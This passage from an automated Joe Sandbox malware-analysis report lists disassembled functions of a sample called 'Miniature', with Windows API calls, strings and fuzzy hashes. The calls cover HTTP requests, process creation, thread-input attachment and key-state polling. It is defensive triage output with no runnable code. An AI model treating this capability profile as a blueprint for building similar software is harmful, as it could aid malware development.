SendMessageW.USER32(00000000,?,00000111,?), ref: 00FE9BF6
GetDlgCtrlID.USER32(?), ref: 00FE9BFF
GetParent.USER32(?), ref: 00FE9C1B
SendMessageW.USER32(00000000,?,?,00000111), ref: 00FE9C1E

Strings

ComboBox, xrefs: 00FE9B54
ListBox, xrefs: 00FE9B89

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 294ac41ec4f703411167e92a0870de660e3d205cfff0ae4f4b738e82a21e8e9b
Instruction ID: efa8bc7b2b7f096b576b750360dd4762f720a2dcac925b7a8315da38b2df046a
Opcode Fuzzy Hash: 294ac41ec4f703411167e92a0870de660e3d205cfff0ae4f4b738e82a21e8e9b
Instruction Fuzzy Hash: 3621F774D00204BBCF20AFA5CC85EFEBBB4EF99310F204115F8A197295DB794918AB20

Function 00FE9C32 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA1A36: _memmove.LIBCMT ref: 00FA1A77

Part of subcall function 00FEB79A: GetClassNameW.USER32(?,?,000000FF), ref: 00FEB7BD

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 00FE9CB5
GetDlgCtrlID.USER32 ref: 00FE9CC0
GetParent.USER32 ref: 00FE9CDC
SendMessageW.USER32(00000000,?,00000111,?), ref: 00FE9CDF
GetDlgCtrlID.USER32(?), ref: 00FE9CE8
GetParent.USER32(?), ref: 00FE9D04
SendMessageW.USER32(00000000,?,?,00000111), ref: 00FE9D07

Strings

ComboBox, xrefs: 00FE9C3F
ListBox, xrefs: 00FE9C74

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 6eb05ad744c57c0927c6d0913c7946469d83dd81fba9c3ca7d88c3427e33cbe3
Instruction ID: 5fe49a8cdef3f447b30c3a1df25a2961aa1db1bb33b697efaa9d7876227b9436
Opcode Fuzzy Hash: 6eb05ad744c57c0927c6d0913c7946469d83dd81fba9c3ca7d88c3427e33cbe3
Instruction Fuzzy Hash: AC2106B5E00205BBDF20AF61CC85EFEBBB4EF45300F204015F89197195DB794818AB20

Function 01008F95 Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 01008FC1
CoInitialize.OLE32(00000000), ref: 01008FEE
CoUninitialize.OLE32 ref: 01008FF8
GetRunningObjectTable.OLE32(00000000,?), ref: 010090F8
SetErrorMode.KERNEL32(00000001,00000029), ref: 01009225
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,01023BDC), ref: 01009259
CoGetObject.OLE32(?,00000000,01023BDC,?), ref: 0100927C
SetErrorMode.KERNEL32(00000000), ref: 0100928F
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0100930F
VariantClear.OLEAUT32(?), ref: 0100931F

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: 47c6929a7b436fb113bf4e737347c60fb5dc16c61d8c85fb7af2151ca6cb7e61
Instruction ID: 1f6e941add707d7441c50c9ab00e9ef7016903bb89fe6b2cebe3195c11c0c0a2
Opcode Fuzzy Hash: 47c6929a7b436fb113bf4e737347c60fb5dc16c61d8c85fb7af2151ca6cb7e61
Instruction Fuzzy Hash: 25C148712083059FE701DF68C88496BBBE9FF89748F00495DF98A9B292DB71ED05CB52

Function 00FF19CD Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00FF19EF
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00FF0A67,?,00000001), ref: 00FF1A03
GetWindowThreadProcessId.USER32(00000000), ref: 00FF1A0A
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00FF0A67,?,00000001), ref: 00FF1A19
GetWindowThreadProcessId.USER32(?,00000000), ref: 00FF1A2B
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00FF0A67,?,00000001), ref: 00FF1A44
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00FF0A67,?,00000001), ref: 00FF1A56
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00FF0A67,?,00000001), ref: 00FF1A9B
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00FF0A67,?,00000001), ref: 00FF1AB0
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00FF0A67,?,00000001), ref: 00FF1ABB

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: d839d890d8632510ae794feda0af5dd0b61fee18c3fe166b50ff2af16c127162
Instruction ID: 74df3a9558d808b669410dc1abe0c2681e3eb78df9da32a461d43ccd87b0a2b1
Opcode Fuzzy Hash: d839d890d8632510ae794feda0af5dd0b61fee18c3fe166b50ff2af16c127162
Instruction Fuzzy Hash: 2231BF71901308EFEB30DF15D848B7A77AABF58325F20811AFE41C61A9D7BE9D409B60

Function 00FCC0E3 Relevance: 15.1, APIs: 10, Instructions: 59windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00F9260D
SetTextColor.GDI32(?,000000FF), ref: 00F92617
SetBkMode.GDI32(?,00000001), ref: 00F9262C
GetStockObject.GDI32(00000005), ref: 00F92634
GetClientRect.USER32(?), ref: 00FCC0FC
SendMessageW.USER32(?,00001328,00000000,?), ref: 00FCC113
GetWindowDC.USER32(?), ref: 00FCC11F
GetPixel.GDI32(00000000,?,?), ref: 00FCC12E
ReleaseDC.USER32(?,00000000), ref: 00FCC140
GetSysColor.USER32(00000005), ref: 00FCC15E

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Color$ClientMessageModeObjectPixelRectReleaseSendStockTextWindow
String ID:
API String ID: 3430376129-0
Opcode ID: e99b40b993a48d7e4c162ac26e46f74d4542eae43800ea03e84a33a359dea203
Instruction ID: 8c0b2214681eee18c0e0b2c4414fca666be87e01d0d741442fc13f799acc4072
Opcode Fuzzy Hash: e99b40b993a48d7e4c162ac26e46f74d4542eae43800ea03e84a33a359dea203
Instruction Fuzzy Hash: C6114C31900305BFEB715FA4ED09FE97BA2EB08331F244265FAA9950E9CB360951EF51

Function 00F9AD98 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00F9ADE1
OleUninitialize.OLE32(?,00000000), ref: 00F9AE80
UnregisterHotKey.USER32(?), ref: 00F9AFD7
DestroyWindow.USER32(?), ref: 00FD2F64
FreeLibrary.KERNEL32(?), ref: 00FD2FC9
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00FD2FF6

Strings

close all, xrefs: 00F9ADDC

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 566e44a6d0706a856db0caf70781594c1ae807889a1f76222a4a6ab00b7ff29b
Instruction ID: f1741da68eec38a30ce314d68c81c9c21ae816376998f6d62cc81f1788ae56cf
Opcode Fuzzy Hash: 566e44a6d0706a856db0caf70781594c1ae807889a1f76222a4a6ab00b7ff29b
Instruction Fuzzy Hash: F0A1CE717012228FDB29EF10C898B69F365BF04714F1442ADF90AAB351CB35AD12EF91

Function 00FEAD69 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,00FEB13A), ref: 00FEB078

Strings

INSTANCE, xrefs: 00FEAF86
TEXT, xrefs: 00FEAFAF
CLASS, xrefs: 00FEADF7
CLASSNN, xrefs: 00FEAE1A
REGEXPCLASS, xrefs: 00FEAE3D
NAME, xrefs: 00FEAEAA

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: bd8976e8afeb6f8b009eb7961eaa0291597251d0eac6caf38112140a8474a5cd
Instruction ID: e7b998ea58ffd1c4157bdafcaa8b9710bff7eca5c4819adb16dd90e5c13120d7
Opcode Fuzzy Hash: bd8976e8afeb6f8b009eb7961eaa0291597251d0eac6caf38112140a8474a5cd
Instruction Fuzzy Hash: 4E91C7B1A00186EBCB18EF62C881BEEFB75BF44310F108119E95AA7191DF347959EB91

Function 00F931F6 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00F9327E

Part of subcall function 00F9218F: GetClientRect.USER32(?,?), ref: 00F921B8
Part of subcall function 00F9218F: GetWindowRect.USER32(?,?), ref: 00F921F9
Part of subcall function 00F9218F: ScreenToClient.USER32(?,?), ref: 00F92221

GetDC.USER32 ref: 00FCD073
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00FCD086
SelectObject.GDI32(00000000,00000000), ref: 00FCD094
SelectObject.GDI32(00000000,00000000), ref: 00FCD0A9
ReleaseDC.USER32(?,00000000), ref: 00FCD0B1
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00FCD13C

Strings

U, xrefs: 00FCD011

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: 9fe3280de276955c1a1aceebc9f3913e1b771cb30591673aac1fe5cc3dd786d4
Instruction ID: d3c19f8501cbd38a92ca51631c72cb123a531ec0cebf55bfd96ec0b93e82270b
Opcode Fuzzy Hash: 9fe3280de276955c1a1aceebc9f3913e1b771cb30591673aac1fe5cc3dd786d4
Instruction Fuzzy Hash: A571C03180020ADFDF218F68C985FAE7BB5FF49320F24426EED955A159C7369942EB60

Function 0101C634 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F929E2: GetWindowLongW.USER32(?,000000EB), ref: 00F929F3

Part of subcall function 00F92714: GetCursorPos.USER32(?), ref: 00F92727
Part of subcall function 00F92714: ScreenToClient.USER32(010577B0,?), ref: 00F92744
Part of subcall function 00F92714: GetAsyncKeyState.USER32(00000001), ref: 00F92769
Part of subcall function 00F92714: GetAsyncKeyState.USER32(00000002), ref: 00F92777

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?), ref: 0101C69C
ImageList_EndDrag.COMCTL32 ref: 0101C6A2
ReleaseCapture.USER32 ref: 0101C6A8
SetWindowTextW.USER32(?,00000000), ref: 0101C752
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 0101C765
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?), ref: 0101C847

Strings

@GUI_DRAGFILE, xrefs: 0101C7DC
@GUI_DROPID, xrefs: 0101C799

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 1924731296-2107944366
Opcode ID: 58fb0d8a3f8fa3e6bc42e09a7edf01b605c532c765a8edcc302058bc2e5352da
Instruction ID: 91eb6ae9cd9ada08d3c424fb15db133d5999bd700eabeef5960ece8203ade3fb
Opcode Fuzzy Hash: 58fb0d8a3f8fa3e6bc42e09a7edf01b605c532c765a8edcc302058bc2e5352da
Instruction Fuzzy Hash: 0151BA70244305AFEB20EF24CC95FAB7BE1FB88310F10891DF995872A5CB79A945DB52

Function 010020E1 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 134networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0100211C
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 01002148
InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 0100218A
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 0100219F
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 010021AC
HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 010021DC
InternetCloseHandle.WININET(00000000), ref: 01002223

Part of subcall function 01002B4F: GetLastError.KERNEL32(?,?,01001EE3,00000000,00000000,00000001), ref: 01002B64
Part of subcall function 01002B4F: SetEvent.KERNEL32(?,?,01001EE3,00000000,00000000,00000001), ref: 01002B79

Strings

, xrefs: 010021CD

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorEventHandleInfoLastOpenSend
String ID:
API String ID: 2603140658-3916222277
Opcode ID: 4d689dcc3ff4011c39ad0d00fd8cab03f0603be15120cd2d0600a35ae5c713be
Instruction ID: 2ad682dda029104987d03dcd6a2009098d46605eb1f20641541bda516a8810c5
Opcode Fuzzy Hash: 4d689dcc3ff4011c39ad0d00fd8cab03f0603be15120cd2d0600a35ae5c713be
Instruction Fuzzy Hash: 1C418CB1900208BFFB229F54CC89FFB7BACFB08354F104156FA849A185D7759A448BA0

Function 01009330 Relevance: 13.9, APIs: 9, Instructions: 438COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,01020980), ref: 01009412
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,01020980), ref: 01009446
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 010095C0
SysFreeString.OLEAUT32(?), ref: 010095EA

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: 19bb5ec872fdf146799217038bd11c77c480a7a3dc21d210663f8efe7d4f80ba
Instruction ID: 04e24e070facd273182f1021b55774e041fb68bd4f904ce3265721b87c075750
Opcode Fuzzy Hash: 19bb5ec872fdf146799217038bd11c77c480a7a3dc21d210663f8efe7d4f80ba
Instruction Fuzzy Hash: A1F14F71A00209EFEF55DF94C884EAEB7B5FF45319F108098F559AB292CB31AE45CB50

Function 0100FD7D Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0100FD9E
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0100FF31
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0100FF55
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0100FF95
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0100FFB7
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 01010133
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 01010165
CloseHandle.KERNEL32(?), ref: 01010194
CloseHandle.KERNEL32(?), ref: 0101020B

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: 55c2c848f2f2e24a60a497dc1ac1abc2a0f3ce61d5695639fe2c18c93a6ae21f
Instruction ID: 7df3ead8857a0760b2eeb79e4d2a75421849021ac233b9ec62647d575aa106da
Opcode Fuzzy Hash: 55c2c848f2f2e24a60a497dc1ac1abc2a0f3ce61d5695639fe2c18c93a6ae21f
Instruction Fuzzy Hash: AEE1D1312043419FEB25EF24C891A6EBBE1AF85314F14845DF9C98B2A6CB39EC41DB52

Function 00FF527C Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF4BC3: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00FF3B8A,?), ref: 00FF4BE0

Part of subcall function 00FF4BC3: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00FF3B8A,?), ref: 00FF4BF9

Part of subcall function 00FF4FEC: GetFileAttributesW.KERNEL32(?,00FF3BFE), ref: 00FF4FED

lstrcmpiW.KERNEL32(?,?), ref: 00FF52FB
_wcscmp.LIBCMT ref: 00FF5315
MoveFileW.KERNEL32(?,?), ref: 00FF5330

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: 0a450a90ee062b7e8b81f326f0dd2b9f02617faedb882e97318efe423d3b5a6e
Instruction ID: 369932c0ca43bf47e7059856791051f5456fddb536be7bc78d0d84afd5ddc04b
Opcode Fuzzy Hash: 0a450a90ee062b7e8b81f326f0dd2b9f02617faedb882e97318efe423d3b5a6e
Instruction Fuzzy Hash: 745187B24083499BC764EB94DC819EFB3DCAF85710F50491EF789C3152EF38A6889756

Function 01018C6A Relevance: 13.7, APIs: 9, Instructions: 168COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 01018D24

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 528bdb00f2c5c6b40965c95f09d39ff16d69c116eb9688effd4ee2f6f8080f2b
Instruction ID: 1d04b0d1a8cf82856f7b9bcf556e50912a08126b32b99c39ac6e30bf161d72e7
Opcode Fuzzy Hash: 528bdb00f2c5c6b40965c95f09d39ff16d69c116eb9688effd4ee2f6f8080f2b
Instruction Fuzzy Hash: DF51B430641308BFEFB0AE28CC89B9D7FA5BB05310F648553F695E7199C77AAA40CB50

Function 00F92F42 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 00FCC638
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00FCC65A
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00FCC672
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 00FCC690
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00FCC6B1
DestroyIcon.USER32(00000000), ref: 00FCC6C0
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00FCC6DD
DestroyIcon.USER32(?), ref: 00FCC6EC

Part of subcall function 0101AAD4: DeleteObject.GDI32(00000000), ref: 0101AB0D

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
String ID:
API String ID: 2819616528-0
Opcode ID: ae89cb474dec987caa68335180cb3b1d60447404003365a47334a2579755e1d3
Instruction ID: 4a06f3bd28447839ab74de4460344b2a1013eca76e5cd84b87bf31e44af7a942
Opcode Fuzzy Hash: ae89cb474dec987caa68335180cb3b1d60447404003365a47334a2579755e1d3
